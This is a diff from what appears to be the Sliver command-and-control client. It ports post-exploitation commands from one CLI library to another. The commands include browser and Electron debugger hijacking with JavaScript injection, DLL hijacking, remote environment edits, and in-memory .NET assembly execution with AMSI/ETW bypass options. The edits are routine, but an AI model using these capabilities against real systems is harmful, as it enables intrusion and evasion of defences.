func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadPath := ctx.Flags.String("payload")
|
||||
payloadPath, _ := cmd.Flags().GetString("payload")
|
||||
var payload []byte
|
||||
var err error
|
||||
if payloadPath != "" {
|
||||
payload, err = ioutil.ReadFile(payloadPath)
|
||||
payload, err = os.ReadFile(payloadPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not read payload file: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
curse := avadaKedavraEdge(session, ctx, con)
|
||||
curse := avadaKedavraEdge(session, cmd, con, args)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
@@ -79,10 +81,10 @@ func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
||||
con.PrintInfof("Injecting payload ... ")
|
||||
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
|
||||
// defer cancel()
|
||||
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
_, err = overlord.ExecuteJS(cmd, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -94,8 +96,8 @@ func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
edgeProcess, err := getEdgeProcess(session, ctx, con)
|
||||
func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
|
||||
edgeProcess, err := getEdgeProcess(session, cmd, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -116,7 +118,7 @@ func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *cons
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Pid: edgeProcess.GetPid(),
|
||||
})
|
||||
if err != nil {
|
||||
@@ -128,7 +130,7 @@ func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *cons
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedChromeProcess(true, session, ctx, con)
|
||||
curse, err := startCursedChromeProcess(true, session, cmd, con, cargs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -137,7 +139,7 @@ func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *cons
|
||||
}
|
||||
|
||||
func isEdgeProcess(executable string) bool {
|
||||
var edgeProcessNames = []string{
|
||||
edgeProcessNames := []string{
|
||||
"msedge", // Linux
|
||||
"microsoft-edge", // Linux
|
||||
"msedge.exe", // Windows
|
||||
@@ -151,9 +153,9 @@ func isEdgeProcess(executable string) bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
func getEdgeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
@@ -27,6 +27,8 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
@@ -34,22 +36,21 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CursedElectronCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
electronExe := ctx.Flags.String("exe")
|
||||
electronExe, _ := cmd.Flags().GetString("exe")
|
||||
if electronExe == "" {
|
||||
con.PrintErrorf("Missing --exe flag, see --help\n")
|
||||
return
|
||||
}
|
||||
|
||||
curse := avadaKedavraElectron(electronExe, session, ctx, con)
|
||||
curse := avadaKedavraElectron(electronExe, session, cmd, con, args)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
@@ -67,8 +68,8 @@ func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
|
||||
}
|
||||
|
||||
func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
exists, err := checkElectronPath(electronExe, session, ctx, con)
|
||||
func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
|
||||
exists, err := checkElectronPath(electronExe, session, cmd, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return nil
|
||||
@@ -77,7 +78,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *gr
|
||||
con.PrintErrorf("Executable path does not exist: %s", electronExe)
|
||||
return nil
|
||||
}
|
||||
electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
|
||||
electronProcess, err := checkElectronProcess(electronExe, session, cmd, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -98,7 +99,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *gr
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Pid: electronProcess.Pid,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -110,7 +111,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *gr
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
|
||||
curse, err := startCursedElectronProcess(electronExe, session, cmd, con, cargs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -118,9 +119,9 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *gr
|
||||
return curse
|
||||
}
|
||||
|
||||
func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
|
||||
func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (bool, error) {
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: electronExe,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -129,9 +130,9 @@ func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumb
|
||||
return ls.GetExists(), nil
|
||||
}
|
||||
|
||||
func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -147,21 +148,21 @@ func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *gr
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
|
||||
func startCursedElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) (*core.CursedProcess, error) {
|
||||
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
|
||||
debugPort := getRemoteDebuggerPort(ctx)
|
||||
debugPort := getRemoteDebuggerPort(cmd)
|
||||
args := []string{
|
||||
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
|
||||
}
|
||||
additionalArgs := ctx.Args.StringList("args")
|
||||
if len(additionalArgs) > 0 {
|
||||
args = append(args, additionalArgs...)
|
||||
|
||||
if len(cargs) > 0 {
|
||||
args = append(args, cargs...)
|
||||
}
|
||||
|
||||
// Execute the Chrome process with the extra flags
|
||||
// TODO: PPID spoofing, etc.
|
||||
electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: electronExe,
|
||||
Args: args,
|
||||
Output: false,
|
||||
@@ -213,21 +214,3 @@ func startCursedElectronProcess(electronExe string, session *clientpb.Session, c
|
||||
|
||||
return curse, nil
|
||||
}
|
||||
|
||||
func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if isChromeProcess(process.GetExecutable()) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -20,21 +20,28 @@ package cursed
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strconv"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CursedRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
kill := ctx.Flags.Bool("kill")
|
||||
bindPort := ctx.Args.Int("bind-port")
|
||||
bindPort, err := strconv.Atoi(args[0])
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse bind port argument: %s (%s)", args[0], err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
kill, _ := cmd.Flags().GetBool("kill")
|
||||
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
|
||||
if kill {
|
||||
confirm := false
|
||||
@@ -60,7 +67,7 @@ func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Pid: int32(cursedProc.PID),
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -20,15 +20,16 @@ package cursed
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CursedScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
@@ -46,7 +47,7 @@ func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
|
||||
quality := ctx.Flags.Int64("quality")
|
||||
quality, _ := cmd.Flags().GetInt64("quality")
|
||||
if quality < 1 || quality > 100 {
|
||||
con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
|
||||
return
|
||||
@@ -56,11 +57,11 @@ func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.PrintErrorf("Failed to take screenshot: %s\n", err)
|
||||
return
|
||||
}
|
||||
saveFile := ctx.Flags.String("save")
|
||||
saveFile, _ := cmd.Flags().GetString("save")
|
||||
if saveFile == "" {
|
||||
saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
|
||||
}
|
||||
err = ioutil.WriteFile(saveFile, data, 0644)
|
||||
err = os.WriteFile(saveFile, data, 0o644)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save screenshot: %s\n", err)
|
||||
return
|
||||
|
||||
@@ -27,15 +27,16 @@ import (
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CursedCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
// Collect existing curses from core
|
||||
cursedProcesses := [][]string{}
|
||||
core.CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
@@ -112,8 +113,8 @@ func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
return port2process[selectedPortNumber]
|
||||
}
|
||||
|
||||
func getRemoteDebuggerPort(ctx *grumble.Context) int {
|
||||
port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
|
||||
func getRemoteDebuggerPort(cmd *cobra.Command) int {
|
||||
port, _ := cmd.Flags().GetInt("remote-debugging-port")
|
||||
if port == 0 {
|
||||
port = insecureRand.Intn(30000) + 10000
|
||||
}
|
||||
|
||||
@@ -21,11 +21,12 @@ package dllhijack
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
|
||||
@@ -33,7 +34,7 @@ import (
|
||||
// dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll TARGET_PATH
|
||||
|
||||
// DllHijackCmd -- implements the dllhijack command
|
||||
func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
var (
|
||||
localRefData []byte
|
||||
targetDLLData []byte
|
||||
@@ -44,11 +45,12 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
targetPath := ctx.Args.String("target-path")
|
||||
referencePath := ctx.Flags.String("reference-path")
|
||||
localFile := ctx.Flags.String("file")
|
||||
profileName := ctx.Flags.String("profile")
|
||||
localReferenceFilePath := ctx.Flags.String("reference-file")
|
||||
targetPath := args[0]
|
||||
|
||||
referencePath, _ := cmd.Flags().GetString("reference-path")
|
||||
localFile, _ := cmd.Flags().GetString("file")
|
||||
profileName, _ := cmd.Flags().GetString("profile")
|
||||
localReferenceFilePath, _ := cmd.Flags().GetString("reference-file")
|
||||
|
||||
if referencePath == "" {
|
||||
con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
|
||||
@@ -56,7 +58,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
if localReferenceFilePath != "" {
|
||||
localRefData, err = ioutil.ReadFile(localReferenceFilePath)
|
||||
localRefData, err = os.ReadFile(localReferenceFilePath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
|
||||
return
|
||||
@@ -68,7 +70,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("please use either --profile or --File")
|
||||
return
|
||||
}
|
||||
targetDLLData, err = ioutil.ReadFile(localFile)
|
||||
targetDLLData, err = os.ReadFile(localFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
@@ -83,7 +85,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
TargetLocation: targetPath,
|
||||
ReferenceDLL: localRefData,
|
||||
TargetDLL: targetDLLData,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
ProfileName: profileName,
|
||||
})
|
||||
ctrl <- true
|
||||
|
||||
@@ -21,24 +21,30 @@ package environment
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// EnvGetCmd - Get a remote environment variable
|
||||
func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func EnvGetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
name := ctx.Args.String("name")
|
||||
var name string
|
||||
if len(args) > 0 {
|
||||
name = args[0]
|
||||
}
|
||||
|
||||
envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
|
||||
Name: name,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -21,23 +21,25 @@ package environment
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// EnvSetCmd - Set a remote environment variable
|
||||
func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func EnvSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
name := ctx.Args.String("name")
|
||||
value := ctx.Args.String("value")
|
||||
name := args[0]
|
||||
value := args[1]
|
||||
if name == "" || value == "" {
|
||||
con.PrintErrorf("Usage: setenv KEY VALUE\n")
|
||||
return
|
||||
@@ -48,7 +50,7 @@ func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Key: name,
|
||||
Value: value,
|
||||
},
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
@@ -67,7 +69,6 @@ func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
} else {
|
||||
PrintSetEnvInfo(name, value, envInfo, con)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// PrintSetEnvInfo - Print the set environment info
|
||||
|
||||
@@ -21,21 +21,23 @@ package environment
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// EnvUnsetCmd - Unset a remote environment variable
|
||||
func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
name := ctx.Args.String("name")
|
||||
name := args[0]
|
||||
if name == "" {
|
||||
con.PrintErrorf("Usage: setenv NAME\n")
|
||||
return
|
||||
@@ -43,9 +45,8 @@ func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
|
||||
Name: name,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -63,7 +64,6 @@ func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
} else {
|
||||
PrintUnsetEnvInfo(name, unsetResp, con)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// PrintUnsetEnvInfo - Print the set environment info
|
||||
|
||||
@@ -25,27 +25,34 @@ import (
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
|
||||
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
assemblyPath := ctx.Args.String("filepath")
|
||||
arch, _ := cmd.Flags().GetString("arch")
|
||||
method, _ := cmd.Flags().GetString("method")
|
||||
className, _ := cmd.Flags().GetString("class")
|
||||
appDomain, _ := cmd.Flags().GetString("app-domain")
|
||||
pPid, _ := cmd.Flags().GetUint32("ppid")
|
||||
|
||||
assemblyPath := args[0]
|
||||
isDLL := false
|
||||
if filepath.Ext(assemblyPath) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
if isDLL {
|
||||
if ctx.Flags.String("class") == "" || ctx.Flags.String("method") == "" {
|
||||
if className == "" || method == "" {
|
||||
con.PrintErrorf("Please provide a class name (namespace.class) and method\n")
|
||||
return
|
||||
}
|
||||
@@ -56,18 +63,24 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
|
||||
assemblyArgs := ctx.Args.StringList("arguments")
|
||||
process := ctx.Flags.String("process")
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
assemblyArgs := args[1:]
|
||||
process, _ := cmd.Flags().GetString("process")
|
||||
processArgsStr, _ := cmd.Flags().GetString("process-arguments")
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
inProcess, _ := cmd.Flags().GetBool("in-process")
|
||||
|
||||
runtime := ctx.Flags.String("runtime")
|
||||
etwBypass := ctx.Flags.Bool("etw-bypass")
|
||||
amsiBypass := ctx.Flags.Bool("amsi-bypass")
|
||||
runtime, _ := cmd.Flags().GetString("runtime")
|
||||
etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
|
||||
amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
|
||||
|
||||
if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
|
||||
con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
|
||||
return
|
||||
}
|
||||
|
||||
assemblyArgsStr := strings.Join(assemblyArgs, " ")
|
||||
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
|
||||
if len(assemblyArgsStr) > 256 {
|
||||
if len(assemblyArgsStr) > 256 && !inProcess {
|
||||
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
@@ -80,21 +93,21 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Executing assembly ...", ctrl)
|
||||
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
IsDLL: isDLL,
|
||||
Process: process,
|
||||
Arguments: assemblyArgsStr,
|
||||
Assembly: assemblyBytes,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
Arch: arch,
|
||||
Method: method,
|
||||
ClassName: className,
|
||||
AppDomain: appDomain,
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
PPid: pPid,
|
||||
Runtime: runtime,
|
||||
EtwBypass: etwBypass,
|
||||
AmsiBypass: amsiBypass,
|
||||
InProcess: ctx.Flags.Bool("in-process"),
|
||||
InProcess: inProcess,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -111,26 +124,28 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
|
||||
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
|
||||
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, cmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(execAssembly.Response)
|
||||
} else {
|
||||
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
|
||||
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, cmd, con)
|
||||
}
|
||||
}
|
||||
|
||||
func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
lootName, _ := cmd.Flags().GetString("name")
|
||||
|
||||
if execAssembly.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
PrintExecutionOutput(string(execAssembly.GetOutput()), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
|
||||
save, _ := cmd.Flags().GetBool("save")
|
